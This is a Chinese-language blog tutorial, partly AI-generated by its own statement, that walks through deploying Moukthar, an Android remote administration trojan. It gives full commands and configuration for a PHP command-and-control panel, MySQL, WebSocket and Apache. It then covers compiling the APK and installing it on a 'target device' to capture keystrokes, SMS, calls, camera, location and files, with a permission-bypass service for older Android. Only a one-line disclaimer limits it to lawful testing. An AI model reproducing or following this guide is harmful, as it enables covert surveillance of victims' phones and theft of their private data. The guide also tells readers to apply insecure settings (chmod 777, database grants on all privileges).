ARTICLE DETAIL

资讯详情

深耕编程入门与网站建设的一线实战洞察。

Moukthar安装部署全流程:从克隆仓库到APK上线的完整教程

Moukthar安装部署全流程:从克隆仓库到APK上线的完整教程 Moukthar安装部署全流程从克隆仓库到APK上线的完整教程【免费下载链接】mouktharAndroid remote administration tool项目地址: https://gitcode.com/gh_mirrors/mo/mouktharMoukthar安装部署是很多Android远程管理工具爱好者关心的话题。Moukthar是一款开源的Android远程管理RAT工具采用「Android客户端 PHP控制面板 WebSocket实时通道」的经典架构支持按键记录、短信监听、通话录音、定位追踪、文件管理等十余项能力。本教程面向新手从零开始带你完成Moukthar部署涵盖服务器环境搭建、数据库初始化、WebSocket启动、Apache配置以及APK编译上线的全部步骤无需深厚开发经验也能跟着操作完成。⚠️ 安全声明本工具仅可用于你拥有合法权限的设备测试与安全研究请遵守当地法律法规切勿用于非法用途。一、Moukthar功能速览一次部署能做什么在开始Moukthar安装部署前先了解它能提供哪些远程管理能力方便你规划使用场景 权限绕过支持 Android 12 以下系统⌨️ 按键记录Keylogger 通知监听Notification Listener✉️ SMS 短信监听 通话录音 相机拍摄与屏幕截图 视频录制♻️ 持久化保活Persistence 联系人读写 已安装应用列表⬆️⬇️ 文件上传与下载 设备定位上图就是Moukthar部署完成后的C2控制面板Dashboard所有已连接的设备会实时显示在这里。二、部署前的环境准备清单Moukthar安装部署需要准备一台 Linux 服务器推荐 Ubuntu/Debian和一台用于编译APK的开发电脑。软件环境如下组件版本要求用途PHP7.x 以上运行C2控制面板Composer最新版安装PHP依赖MySQL8.x存储数据Apache22.4提供Web服务Android Studio最新稳定版编译APKNode/WebSocket 运行环境PHP内置即可运行实时通道快速安装依赖命令sudo apt update sudo apt install -y php composer mysql-server php-mysql apache2 sudo a2enmod rewrite三、第一步克隆仓库并理解目录结构首先从仓库克隆Moukthar源码git clone https://gitcode.com/gh_mirrors/mo/moukthar克隆完成后你会发现项目分为两大核心部分Client/Android 客户端源码包含MainService.java、WebSocketClient.java以及各功能模块如SMS.java、KeyloggerHandler.javaServer/PHP 服务端其中c2-server是控制面板web-socket是实时通信服务database.sql是数据库初始化脚本 提示Server目录下还附带了websocket.service和websocket.bat分别用于Linux系统服务和Windows下启动WebSocket。四、第二步部署PHP服务端并安装依赖将Server目录下的文件移动到Apache的Web根目录sudo mv moukthar/Server/* /var/www/html/ cd /var/www/html/c2-server composer install cd /var/www/html/web-socket/ composer install cd /var/www sudo chown -R www-data:www-data . sudo chmod -R 777 .composer install会根据c2-server/composer.json自动拉取所有PHP依赖库安装过程可能需要几分钟请耐心等待。五、第三步创建数据库用户并初始化数据表Moukthar使用MySQL存储设备信息、短信、通知、位置等所有数据。首先创建一个专用数据库用户CREATE USER androidlocalhost IDENTIFIED BY your-password; GRANT ALL PRIVILEGES ON *.* TO androidlocalhost; FLUSH PRIVILEGES;然后登录MySQL执行初始化脚本mysql -u root -p /var/www/html/database.sql脚本会自动创建名为cc的数据库以及CLIENT、MESSAGE、NOTIFICATION、KEYLOG、LOCATION、RECORDING、SCREENSHOT等全部数据表并写入默认管理员账号用户名android密码android登录后请立即修改。六、第四步配置数据库连接信息.env文件Moukthar安装部署中最容易出错的一步就是环境变量配置。你需要分别编辑两个.env文件填写刚才创建的数据库账号c2-server/.env控制面板的数据库配置web-socket/.envWebSocket服务的数据库配置两个文件格式相同示例内容如下DB_HOSTlocalhost DB_NAMEcc DB_USERandroid DB_PASSWORDyour-password⚠️ 两个文件都必须配置为相同的数据库信息否则控制面板能登录但设备无法实时上报数据。七、第五步启动WebSocket实时通信服务WebSocket是控制面板与Android设备之间的实时桥梁负责推送通知、实时日志等数据默认监听8080端口。启动方式有两种方式一直接运行适合调试php /var/www/html/web-socket/App.php方式二注册为Linux系统服务推荐生产环境sudo mv /var/www/html/websocket.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable websocket.service sudo systemctl start websocket.service服务配置文件websocket.service已设置Restartalways服务异常退出会自动重启保证稳定性。八、第六步配置Apache虚拟主机与上传限制修改默认站点配置编辑/etc/apache2/sites-available/000-default.conf将站点根目录指向c2-serverVirtualHost *:80 ServerAdmin webmasterlocalhost DocumentRoot /var/www/html/c2-server DirectoryIndex app.php Options -Indexes ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined /VirtualHost调整Apache目录权限编辑/etc/apache2/apache2.conf注释掉默认的拒绝规则并添加以下内容Directory /var/www/html/c2-server Options -Indexes DirectoryIndex app.php AllowOverride All Require all granted /Directory调大PHP上传限制设备上报截图、视频、录音等文件可能较大需修改/etc/php/*.*/apache2/php.iniupload_max_filesize 128M post_max_size 129M如上图Moukthar的文件管理模块支持远程查看设备目录、上传和下载文件较大的上传限制是流畅使用的关键。指定WebSocket服务器地址打开home.php和features/files.php找到script标签中的WebSocket连接代码把地址改为你服务器的IPconst ws new WebSocket(ws://你的服务器IP:8080);最后重启Apache使所有配置生效sudo a2enmod rewrite sudo service apache2 restart浏览器访问http://你的服务器IP看到登录页面即代表Moukthar服务端部署成功九、第七步编译APK并部署到目标设备服务端就绪后剩下就是Android客户端的配置与编译了。修改客户端服务器地址打开Utils.java将C2_SERVER和WEB_SOCKET_SERVER改为你的服务器地址public static final String C2_SERVER http://你的服务器IP; public static final String WEB_SOCKET_SERVER ws://你的服务器IP:8080;使用Android Studio编译用Android Studio打开Client目录等待Gradle同步完成首次同步需下载依赖耗时较长点击Build Build Bundle(s) / APK(s) Build APK(s)在Client/app/build/outputs/apk/目录找到生成的APK安装与授权将APK传输到目标Android设备安装。首次启动时需要手动授予各项权限包括无障碍服务用于按键记录和截屏、通知使用权、短信与电话权限等。Moukthar还内置了PermissionBypassService.java在Android 12以下系统可以辅助绕过部分权限限制。十、实战效果各功能模块一览设备上线后控制面板左侧会出现完整的功能菜单来看看各模块的实际效果已安装应用模块远程列出设备上所有安装的应用及包名方便你快速了解设备状态。短信监听模块实时同步设备的收发短信包含发送方号码、内容与时间戳。通知监听模块捕获设备上所有应用弹出的通知配合NotificationListener.java实现实时转发。相机模块远程触发前置或后置摄像头拍摄照片。录音与视频模块支持通话录音和远程视频录制文件会回传到控制面板供查看下载。联系人模块远程读写设备通讯录新增、修改联系人一目了然。十一、常见问题排查FAQQ1设备连不上服务器依次检查防火墙是否放行80和8080端口、Utils.java中的服务器地址是否正确、WebSocket服务是否在运行。Q2控制面板能登录但看不到设备上线大概率是.env数据库配置不一致或WebSocket地址与客户端配置不匹配请逐项核对。Q3大文件上传失败检查php.ini中的upload_max_filesize和post_max_size是否已调大并确认已重启Apache。Q4按键记录不生效需要手动开启无障碍服务进入系统设置 → 无障碍 → 找到Moukthar并开启。十二、结语从部署到上线的完整路径到这里Moukthar安装部署的完整流程已经全部走通克隆仓库 → 搭建PHP环境 → 初始化数据库 → 启动WebSocket → 配置Apache → 编译APK → 设备上线。整个过程虽然涉及多个组件但只要按本教程的顺序一步步操作新手也能在1-2小时内完成全套部署。建议在正式使用前先在模拟器或备用机上完整测试各功能模块确认稳定后再投入使用。祝你部署顺利【免费下载链接】mouktharAndroid remote administration tool项目地址: https://gitcode.com/gh_mirrors/mo/moukthar创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表